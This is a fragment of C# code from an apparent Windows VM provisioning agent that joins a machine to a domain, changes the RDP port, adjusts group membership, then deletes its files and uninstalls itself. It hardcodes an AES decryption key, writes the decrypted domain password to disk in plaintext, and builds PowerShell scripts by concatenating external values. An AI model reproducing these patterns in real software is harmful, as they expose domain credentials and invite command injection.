System.IO.File.AppendAllText(@"C:\AutoProvision\logs.txt", " Inset_Percent" + Environment.NewLine); // string sql = @"select vlan_id // from user_vm_order // where order_id=@order_id"; // DataSet ds = dbManager.ExecuteDataSet(CommandType.Text, sql); // int nic_num = ds.Tables[0].Rows[0]["vlan_id"].ToString().Split(',').Count(); //for( int i = 0 ; i < nic_num ; i++ ) //ws.Set_VM_pwd(vmname, upwd); string Assign_Network_Configuration = ws.Assign_Network_Configuration(macaddress[0], group_id, vmname, area, company_id, temp_vlan); System.IO.File.AppendAllText(@"C:\AutoProvision\logs.txt", " Assign_Network_Configuration" + Assign_Network_Configuration + Environment.NewLine); string[] static_ip_result = Assign_Network_Configuration.Split('"'); //ip = static_ip_result[5]; //netmask = static_ip_result[9]; //d_gateway = static_ip_result[13]; //d_dns = static_ip_result[17]; //o_dns = static_ip_result[21]; rdp_port = static_ip_result[25]; domain_name = static_ip_result[29]; domain_ip = static_ip_result[33]; domain_account = static_ip_result[37]; domain_pwd = CryptoAES.decrypt(static_ip_result[41], "GccA@stanchengGg"); if (rdp_port != "3389") { System.IO.File.AppendAllText(@"C:\AutoProvision\logs.txt", "Ready Change RDP Port" + Environment.NewLine); string rdp_port_ps1 = "Set-ItemProperty -path 'HKLM:\\System\\CurrentControlSet\\Control\\Terminal Server\\WinStations\\RDP-Tcp' -name PortNumber -value " + rdp_port; Runspace runspace_rdp_port = RunspaceFactory.CreateRunspace(); runspace_rdp_port.Open(); Pipeline rdp_port_pipe = runspace_rdp_port.CreatePipeline(); rdp_port_pipe.Commands.AddScript(rdp_port_ps1); rdp_port_pipe.Commands.Add("Out-String"); var rdp_port_pipe2 = rdp_port_pipe.Invoke(); string rdp_port_out = rdp_port_pipe2[0].ToString(); runspace_rdp_port.Dispose(); System.IO.File.AppendAllText(@"C:\AutoProvision\logs.txt", " RDP PORD have change! " + Environment.NewLine); } ws.Inset_Percent(vmname, "80", ""); System.IO.File.AppendAllText(@"C:\AutoProvision\logs.txt", " Inset_Percent" + Environment.NewLine); System.Threading.Thread.Sleep(1000); //IP-Setting & Join Domain //@"$NICs = Get-WMIObject Win32_NetworkAdapterConfiguration | where{$_.IPEnabled -eq ""TRUE""}" + "\n" + // "$NIC=\"Lan\"\n" + // "Foreach($NIC in $NICs) {\n" + // "$NIC.EnableStatic(\"" + ip + "\", \"" + netmask + "\")\n" + // "$NIC.SetGateways(\"" + d_gateway + "\")\n" + // "$DNSServers = \"" + d_dns + "\",\"" + o_dns + "\"\n" + // "$NIC.SetDNSServerSearchOrder($DNSServers)\n" + // "$NIC.SetDynamicDNSRegistration(\"TRUE\")\n" + // "} \n" + string ip_set = "Start-Sleep -s 20 \n" + "$domain = " + "\"" + domain_name + "\"" + "\n" + "$password = "******"\"" + domain_pwd + "\"" + " | ConvertTo-SecureString -asPlainText -Force\n" + "$username = "******"\"" + domain_account + "\"" + "\n" + "$credential = New-Object System.Management.Automation.PSCredential($username,$password)\n" + "Add-Computer -DomainName $domain -Cred $credential\n" + "Start-Sleep -s 20\n" + "restart-computer -force\n"; System.IO.File.WriteAllText(@"C:\AutoProvision\set_ip.ps1", ip_set); System.IO.File.WriteAllText(@"C:\AutoProvision\check_ip_reboot.txt", domain_name + " " + domain_pwd + " " + domain_account + " " + ip + " " + member_id + " " + vmname); ws.Inset_Percent(vmname, "85", ""); IntPtr userTokenHandle = IntPtr.Zero; ApiDefinitions.WTSQueryUserToken(ApiDefinitions.WTSGetActiveConsoleSessionId(), ref userTokenHandle); ApiDefinitions.PROCESS_INFORMATION procInfo = new ApiDefinitions.PROCESS_INFORMATION(); ApiDefinitions.STARTUPINFO startInfo = new ApiDefinitions.STARTUPINFO(); startInfo.cb = (uint)Marshal.SizeOf(startInfo); string RebootPath = @"C:\AutoProvision\set_ip.exe"; ApiDefinitions.CreateProcessAsUser(userTokenHandle, RebootPath, "", IntPtr.Zero, IntPtr.Zero, false, 0, IntPtr.Zero, null, ref startInfo, out procInfo); System.IO.File.AppendAllText(@"C:\AutoProvision\logs.txt", " Add to domain! " + Environment.NewLine); } catch (Exception ex) { //VM_config_log(vmname, "", "ERROR", "Network adapter have some problams."); System.IO.File.AppendAllText(@"C:\AutoProvision\error.txt", ex.Message); } finally { ws.Dispose(); } } if (step1_output == "True" && check_ip_output == "True") { //AutoProvision_WS.AutoProvision_WS ws = new AutoProvision_WS.AutoProvision_WS(); try { System.IO.StreamReader check_ip_reboot_f = new System.IO.StreamReader(@"c:\AutoProvision\check_ip_reboot.txt"); string[] domain_name0 = check_ip_reboot_f.ReadToEnd().Split(' '); string domain_name = domain_name0[0]; string ip = domain_name0[3]; string member_id = domain_name + "/" + domain_name0[4]; vmname = domain_name0[5]; check_ip_reboot_f.Dispose(); string join_account = "$user=[ADSI]\"WinNT://" + member_id + "\"\n" + "$group=[ADSI]\"WinNT://./Remote Desktop Users\"\n" + "$group.Psbase.Invoke(\"Add\",$user.Psbase.path)"; //Runspace Runspace_join_account = RunspaceFactory.CreateRunspace(); //Runspace_join_account.Open(); //Pipeline join_account_pipe = Runspace_join_account.CreatePipeline(); //join_account_pipe.Commands.AddScript(join_account); //join_account_pipe.Invoke(); //Runspace_join_account.Dispose(); Do_Power_Shell(join_account); System.IO.File.AppendAllText(@"C:\AutoProvision\logs.txt", " join account " + member_id + Environment.NewLine); ws.Inset_Percent(vmname, "90", ""); string remove_DomainAdminsAccount = "$user=[ADSI]\"WinNT://Domain Admins" + "\"\n" + "$group=[ADSI]\"WinNT://./Administrators\"\n" + "$group.Psbase.Invoke(\"Remove\",$user.Psbase.path)"; Do_Power_Shell(remove_DomainAdminsAccount); string remove_LocalUserAccount = "$ComputerName = $env:COMPUTERNAME" + "\n" + "[ADSI]$server=\"WinNT://$ComputerName\"" + "\n" + "$removeName=\"user\"" + "\n" + "$server.Delete(\"user\",$removeName)"; Do_Power_Shell(remove_LocalUserAccount); System.IO.File.AppendAllText(@"C:\AutoProvision\logs.txt", " remove account !" + Environment.NewLine); //Runspace Runspace_remove_account = RunspaceFactory.CreateRunspace(); //Runspace_remove_account.Open(); //Pipeline remove_account_pipe = Runspace_remove_account.CreatePipeline(); //remove_account_pipe.Commands.AddScript(remove_DomainAdminsAccount); //remove_account_pipe.Invoke(); ////remove_account_pipe.Commands.AddScript(remove_LocalUserAccount); ////remove_account_pipe.Invoke(); //Runspace_remove_account.Dispose(); ws.Inset_Percent(vmname, "95", ""); string app_id = @"Get-WmiObject -Class Win32_Product | Where-Object { $_.Name -like ""VMconfig""}|Format-list IdentifyingNumber >c:\\AutoProvision\\app_guid.txt"; Runspace Runspace_app_guid = RunspaceFactory.CreateRunspace(); Runspace_app_guid.Open(); Pipeline app_guid_pipe = Runspace_app_guid.CreatePipeline(); app_guid_pipe.Commands.AddScript(app_id); var app_guid_pipe2 = app_guid_pipe.Invoke(); Runspace_app_guid.Dispose(); System.IO.StreamReader app_guid_pipe_out = new System.IO.StreamReader(@"c:\AutoProvision\app_guid.txt"); string[] app = app_guid_pipe_out.ReadToEnd().Split(':'); string[] app2 = app[1].Split('\r'); string[] app3 = app2[0].Split(' '); string app_guid = app3[1]; app_guid_pipe_out.Dispose(); string remove_it = @"Remove-Item c:\\AutoProvision -Recurse"; Runspace Runspace_remove = RunspaceFactory.CreateRunspace(); Runspace_remove.Open(); Pipeline remove_it_pipe = Runspace_remove.CreatePipeline(); remove_it_pipe.Commands.AddScript(remove_it); var remove_it_pipe2 = remove_it_pipe.Invoke(); Runspace_remove.Dispose(); ws.Inset_Percent(vmname, "100", ""); ws.Change_Order_Status(vmname, "5", false); string del_item_sc = @"MsiExec.exe /norestart /q/x""" + app_guid + "\" REMOVE=ALL"; Runspace Runspace_del_item = RunspaceFactory.CreateRunspace(); Runspace_del_item.Open(); Pipeline del_item_pipe = Runspace_del_item.CreatePipeline(); del_item_pipe.Commands.AddScript(del_item_sc); var del_item_pipe2 = del_item_pipe.Invoke(); Runspace_del_item.Dispose(); } catch (Exception ex) { System.IO.File.AppendAllText(@"C:\AutoProvision\logs.txt", ex.ToString()); } finally { ws.Dispose(); } } }